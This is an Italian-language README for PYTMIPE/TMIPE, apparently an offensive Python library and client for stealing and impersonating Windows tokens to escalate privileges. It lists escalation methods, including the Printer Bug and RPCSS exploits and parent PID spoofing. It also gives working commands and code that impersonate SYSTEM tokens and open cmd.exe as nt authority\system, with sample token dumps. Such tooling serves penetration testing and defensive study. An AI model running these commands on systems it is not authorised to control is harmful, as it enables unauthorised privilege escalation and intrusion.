
Libreria Python e client per manipolazioni e impersonificazioni di token per escalation di privilegi su Windows
PYTMIPE (libreria Python per manipolazione dei token e impersonificazione per escalation dei privilegi) è una libreria Python 3 per manipolare i token di Windows e gestire le impersonificazioni al fine di ottenere maggiori privilegi su Windows. TMIPE è il client Python 3 che utilizza la libreria pytmipe.
Slides "Manipolazione dei token di Windows, impersonificazione ed escalation dei privilegi" (inglese): link
Articolo su MISC 112 (francese): link
| Metodo | Privilegi richiesti | SO (non esaustivo) | Destinatario diretto (massimo) |
|---|---|---|---|
| Creazione e impersonificazione token | nome utente e password | Tutti | amministratore locale |
| Impersonificazione/rubrica token | SeDebugPrivilege | Tutti | nt authority\system |
| Parent PID spoofing (ereditarietà handle) | SeDebugPrivilege | >= Vista | nt authority\system |
| Servizio (SCM) | Amministratore locale (e livello di integrità alto se UAC abilitato) | Tutti | nt authority\system o account di dominio |
| Evento WMI | Amministratore locale (e livello di integrità alto se UAC abilitato) | Tutti | nt authority\system |
| « Printer Bug » LPE | SeImpersonatePrivilege (account di servizio) | Windows 8.1, 10 e Server 2012R2/2016/2019 | nt authority\system |
| RPCSS Service LPE | SeImpersonatePrivilege (account di servizio) | Windows 10 e Server 2016/2019 | nt authority\system |
Il seguente elenco non esaustivo mostra alcune funzionalità implementate nella libreria pytmipe:
ctypes è utilizzato il più possibile. Molte funzionalità di pywin32 sono state risviluppate in pytmipe per evitare l'uso di pywin32 per una migliore portabilità. Tuttavia, il modulo Task Scheduler utilizza ancora pywin32 (più precisamente pythoncom) per mancanza di tempo. Tutti gli altri moduli usano solo ctypes.
Per il client Python (chiamato tmipe):
python.exe tmipe.py -h
usage: tmipe.py [-h] [--version]
{cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
...
**
888888 8b d8 88 88""Yb 888888
88 88b d88 88 88__dP 88__
88 88YbdP88 88 88""" 88""
88 88 YY 88 88 88 888888
-------------------------------------------
Token Manipulation, Impersonation and
Privilege Escalation (Tool)
-------------------------------------------
By Quentin HARDY ([email protected])
positional arguments:
{cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
Scegli un comando principale
cangetadmin Verifica se l'utente può ottenere accesso amministratore
printalltokens Mostra tutti i token accessibili dal thread corrente
printalltokensbyname
Mostra tutti i token accessibili dal thread corrente per nome account
printalltokensbypid Mostra tutti i token accessibili dal thread corrente per pid
printsystemtokens Mostra tutti i token di sistema accessibili dal thread corrente
searchimpfirstsystem
Cerca e impersona il primo token di sistema
imppid Impersona il token primario del pid selezionato e prova ad avviare cmd.exe
imptoken Impersona token primario o di impersonificazione del pid/handle selezionato e prova ad avviare cmd.exe
printerbug Sfrutta il "printer bug" per ottenere una shell di sistema
rpcss Sfrutta "rpcss" per ottenere una shell di sistema
spoof Parent PID Spoofing ("handle inheritance")
impuser Crea processo con credenziali tramite impersonificazione
runas Crea processo con credenziali come runas
scm Crea processo con Service Control Manager
optional arguments:
-h, --help mostra questo messaggio di aiuto ed esce
--version mostra il numero di versione del programma ed esce
Per la libreria Python (chiamata pytmipe), vedere il codice sorgente e gli esempi. Normalmente, ho ben documentato il codice sorgente... La maggior parte delle funzioni è documentata.
Per esempi pyinstaller e standalone, vedere i file nella cartella src/examples/.
Se vuoi sapere come usare la libreria pytimpe, vedere la cartella src/examples per molti esempi.
Per impersonare il primo token system e ottenere un prompt cmd.exe come system dal client Python (tmipe):
python.exe tmipe.py searchimpfirstsystem -vv
Per fare la stessa cosa direttamente con la libreria pytmipe, vedere il file src/examples/searchAndImpersonateFirstSystemToken.py:
from impersonate import Impersonate
from utils import configureLogging
configureLogging()
imp = Impersonate()
imp.searchAndImpersonateFirstSystemToken(targetPID=None, printAllTokens=False)
Aprirà un prompt cmd.exe come system se l'utente corrente di Windows ha i diritti necessari.
Ovviamente, da questo codice sorgente, puoi creare un eseguibile standalone con pyinstaller.
Per ottenere token primari e di impersonificazione utilizzati nel processo corrente:
python.exe tmipe.py printalltokens --current --full --linked
Output:
- PID: 3212
------------------------------
- PID: 3212
- type: Primary (1)
- token: 764
- hval: None
- ihandle: None
- sid: S-1-5-18
- accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
- intlvl: System
- owner: S-1-5-32-544
- Groups:
- S-1-5-32-544: {'Name': 'Administrators', 'Domain': 'BUILTIN', 'type': 4} (ENABLED, ENABLED_BY_DEFAULT, OWNER)
- S-1-1-0: {'Name': 'Everyone', 'Domain': '', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
- S-1-5-11: {'Name': 'Authenticated Users', 'Domain': 'NT AUTHORITY', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
- S-1-16-16384: {'Name': 'System Mandatory Level', 'Domain': 'Mandatory Label', 'type': 10} (INTEGRITY_ENABLED, INTEGRITY)
- Privileges (User Rights):
- SeAssignPrimaryTokenPrivilege: Enabled
[...]
- SeTrustedCredManAccessPrivilege: Enabled
- issystem: True
- sessionID: 1
- elevationtype: Default (1)
- iselevated: True
- Linked Token: None
- tokensource: b'*SYSTEM*'
- primarysidgroup: S-1-5-18
- isrestricted: False
- hasrestricitions: True
- Default DACL:
- {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0x10000000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-18'}
- {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0xa0020000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-32-544'}
[...]
- Mandatory Policy: NO_WRITE_UP
Per ottenere tutti i token accessibili dal thread corrente, organizzati per pid, solo quando l'impersonificazione è possibile:
python.exe tmipe.py printalltokensbypid --imp-only
Output:
[...]
- PID 4276:
- S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
- PID 7252:
- None
- PID 1660:
- S-1-5-21-28624056-3392308708-440876048-1106: DOMINIO\UTENTE (possible imp: True)
- S-1-5-20: NT AUTHORITY\NETWORK SERVICE (possible imp: True)
- S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
- S-1-5-90-0-1: Window Manager\DWM-1 (possible imp: True)
- S-1-5-19: NT AUTHORITY\LOCAL SERVICE (possible imp: True)
[...]
Se vuoi eseguire questa operazione con la libreria pytmipe, è altrettanto facile:
from impersonate import Impersonate
from utils import configureLogging
configureLogging()
imp = Impersonate()
imp.printAllTokensAccessible(targetPID=None, printFull=True, printLinked=True, _useThreadMethod=False)
Puoi impersonare un token selezionato.
Primo passo, ottenere tutti i token in base ai tuoi filtri (token system e token che possono essere impersonati dal thread corrente):
python.exe tmipe.py printalltokens --filter {\"sid\":\"S-1-5-18\",\"canimpersonate\":true}
Output:
[...]
- PID: 2288
------------------------------
- PID: 2288
- type: Impersonation (2)
- token: 2504
- ihandle: 118
- sid: S-1-5-18
- accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
- intlvl: System
- owner: S-1-5-18
- issystem: True
- elevationtype: Default (1)
- iselevated: True
- linkedtoken: None
- implevel: Impersonate (2)
- appcontainertoken: False
[...]
- primarysidgroup: S-1-5-18
- isrestricted: False
- hasrestricitions: True
- Mandatory Policy: VALID_MASK
- canimpersonate: True
[...]
Questo output precedente mostra un token di impersonificazione situato nel pid 2288 (ihandle 118), che ha un livello di integrità system. È possibile impersonare questo token specifico con il seguente comando:
python.exe tmipe.py imptoken --pid 2288 --ihandle 118 -vv
Questo comando precedente apre cmd.exe come nt authority\system.
Questo può essere fatto anche con la libreria pytmipe. Il seguente codice sorgente impersona il primo token system disponibile, stampa il token effettivo e termina l'impersonificazione:
from impersonate import Impersonate
from windef import TokenImpersonation
allTokens = imp.getTokensAccessibleFilter(targetPID=None,
filter={'canimpersonate':True, 'sid':'S-1-5-18', 'type':TokenImpersonation},
_useThreadMethod=False)
if allTokens == {} or allTokens==None:
print("Nessun token trovato per impersonificazione")
else:
pid = list(allTokens.keys())[0] #usa il primo token del primo pid restituito in 'allTokens'
firstIHandle = allTokens[pid][0]['ihandle']
imp.printThisToken(allTokens, pid, firstIHandle)
imp.impersonateThisToken(pid=pid, iHandle=firstIHandle)
print("Token effettivo corrente per il thread corrente dopo impersonificazione:")
imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
imp.terminateImpersonation()
print("Token effettivo corrente per il thread corrente (impersonificazione terminata):")
imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
Se vuoi supportare il mio lavoro con una donazione, lo apprezzerò molto:
Via BTC: 36FugL6SnFrFfbVXRPcJATK9GsXEY6mJbf